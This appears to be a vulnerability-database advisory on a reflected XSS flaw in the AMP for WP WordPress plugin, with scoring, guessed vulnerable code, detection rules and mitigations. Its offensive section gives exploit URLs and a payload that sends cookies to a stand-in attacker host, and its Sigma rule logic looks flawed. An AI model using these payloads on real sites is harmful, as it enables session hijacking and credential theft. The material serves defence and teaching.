CVE-2024-0587
Executive Summary
CVE-2024-0587 is a reflected cross-site scripting (XSS) vulnerability in the AMP for WP – Accelerated Mobile Pages WordPress plugin, affecting all versions up to and including 1.0.92.1. The flaw resides in the disqus_name parameter, where insufficient input sanitization and output escaping on the executed JS file allow unauthenticated attackers to inject arbitrary web scripts. Successful exploitation requires user interaction (e.g., clicking a crafted link), leading to potential session hijacking, credential theft, or defacement within the WordPress ecosystem. The EPSS score is 0.0%, indicating low active exploitation likelihood, but the lack of a confirmed patch elevates risk for unmaintained sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. The AMP for WP plugin is widely used to generate Accelerated Mobile Pages, and the flaw affects its JavaScript handling of the disqus_name parameter. No Apache or Nginx server misconfiguration is involved; the issue is purely within the plugin’s code.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – Unauthenticated.
- User Interaction: Required (UI:R) – Victim must click a malicious link.
- Scope: Changed (S:C) – Impact may extend beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure.
- Integrity Impact: Low (I:L) – Limited script injection.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the plugin’s popularity in the WordPress ecosystem make it a viable target for phishing campaigns.
Deep Dive & Mechanics
The vulnerability exists in the plugin’s JavaScript file that processes the disqus_name parameter. When a user visits a crafted URL containing a malicious payload in disqus_name, the plugin reflects this input into the page’s JavaScript context without proper sanitization or escaping. This allows an attacker to break out of the intended JavaScript string and execute arbitrary code.
Root Cause: The plugin uses disqus_name directly in a JavaScript variable assignment without encoding or validation. For example, the vulnerable code might look like:
var disqusName = '<?php echo $_GET['disqus_name']; ?>';
An attacker can inject a payload like '; alert('XSS');// to close the string and execute JavaScript.
Attack Flow:
- Attacker crafts a malicious URL:
https://victim-site.com/?disqus_name=';alert('XSS');// - Victim clicks the link (e.g., via phishing email).
- The plugin reflects the payload into the page’s JavaScript.
- The injected script executes in the victim’s browser context.
Vulnerable vs. Patched Code
Vulnerable Code (<= 1.0.92.1):
// In a PHP file that outputs JavaScript
echo "var disqusName = '" . $_GET['disqus_name'] . "';";
This directly concatenates user input into a JavaScript string without escaping.
Patched Code (Hypothetical):
// Properly escape for JavaScript context
echo "var disqusName = '" . esc_js($_GET['disqus_name']) . "';";
Or using json_encode for safe output:
echo "var disqusName = " . json_encode($_GET['disqus_name']) . ";";
The patch should use WordPress’s esc_js() function or wp_json_encode() to ensure all special characters are escaped.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress site with AMP for WP plugin version <= 1.0.92.1.
- Ability to craft and deliver a malicious link.
Exploit Steps:
- Identify a target site running the vulnerable plugin.
- Craft a payload to execute arbitrary JavaScript. Example:
https://target-site.com/?disqus_name=';alert(document.cookie);// - Encode the payload for reliability (URL encoding):
https://target-site.com/?disqus_name=%27;alert(document.cookie);// - Deliver the link via phishing or social engineering.
- Upon victim click, the script executes, stealing cookies or performing actions.
Advanced Payload:
';fetch('https://attacker.com/steal?cookie='+document.cookie);//
Blue Team (Defensive)
Detection:
- Monitor web server logs for requests containing
disqus_namewith suspicious characters (e.g., single quotes, parentheses,alert,fetch). - Use WAF rules to block reflected XSS patterns in query parameters.
Honeypot:
- Deploy a decoy WordPress site with the vulnerable plugin to capture attacker payloads.
Lab Setup:
- Use Docker to spin up a vulnerable environment:
docker run -d -p 8080:80 --name wp-vuln wordpress:latest # Install AMP for WP 1.0.92.1 manually - Test with curl:
curl "http://localhost:8080/?disqus_name=%27;alert(1);//"
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests with
disqus_nameparameter containing JavaScript payloads (e.g.,';alert,';fetch,';document.cookie). - Outbound connections to attacker-controlled domains from victim browsers (if payload exfiltrates data).
- HTTP requests with
File IOCs:
- Modified plugin files (though unlikely for reflected XSS).
- Suspicious entries in WordPress debug logs.
Behavioral IOCs:
- Unexpected JavaScript execution in the context of the AMP for WP plugin.
- Phishing emails containing links with
disqus_nameparameter.
Detection Engineering
YARA Rule
rule CVE_2024_0587_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against AMP for WP disqus_name parameter"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-0587"
strings:
$payload1 = /disqus_name=[^&]*'[^&]*alert/i
$payload2 = /disqus_name=[^&]*'[^&]*fetch/i
$payload3 = /disqus_name=[^&]*'[^&]*document\.cookie/i
condition:
any of them
}
Sigma Rule
title: CVE-2024-0587 Reflected XSS in AMP for WP
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts via disqus_name parameter in AMP for WP plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains: "disqus_name="
cs-uri-query|contains|all:
- "'"
- "alert"
- "fetch"
- "document.cookie"
condition: selection
falsepositives:
- Legitimate use of single quotes in disqus_name (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-0587 Reflected XSS in AMP for WP disqus_name"; flow:to_server,established; content:"disqus_name="; http_uri; pcre:"/disqus_name=[^&]*'[^&]*(alert|fetch|document\.cookie)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if not critical for business operations.
- Apply a WAF rule to block requests containing
disqus_namewith suspicious patterns (e.g., single quotes, JavaScript functions). - Monitor logs for exploitation attempts.
Long-term Fix:
- The vendor must release a patched version that properly escapes the
disqus_nameparameter usingesc_js()orwp_json_encode(). - Until a patch is available, consider replacing the plugin with an alternative AMP solution.
Workaround:
- Add the following to
.htaccessto block malicious requests:RewriteCond %{QUERY_STRING} disqus_name=.*[';].* [NC] RewriteRule .* - [F,L]
Valters IT – This report is provided as-is for educational and defensive purposes. Always test mitigations in a staging environment before production deployment.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.